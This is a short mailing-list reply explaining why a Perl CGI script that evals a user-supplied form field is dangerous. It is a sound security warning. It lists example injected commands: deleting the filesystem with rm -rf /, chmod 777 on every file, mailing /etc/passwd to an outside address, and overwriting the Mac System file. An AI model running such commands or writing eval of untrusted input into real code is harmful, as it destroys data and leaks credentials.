Re: [MacPerl] Dangerous cgi-script

["Brian L. Matthews" <blm@halcyon.com>]

|Is this this cgi script dangerous?
|[...]
|$math = $FORM{'calc'};
|$res=eval "$math";

Yes! You really never want to do an eval of a user entered string.
Remember, the string can contain *any perl script*, including a
system call. On Unix, strings like 'system ("rm -rf /")' or
'system ("find / -print | xargs chmod 777")' or
'system ("mail xxx@yyy.zzz </etc/passwd")' are possibilities. On
the Mac you're more limited, but something like
'open F ">Macintosh HD:System Folder:System"' might work, and be
fairly painful.

Anyway, you get the picture.

Brian

***** Want to unsubscribe from this list?
***** Send mail with body "unsubscribe" to mac-perl-request@iis.ee.ethz.ch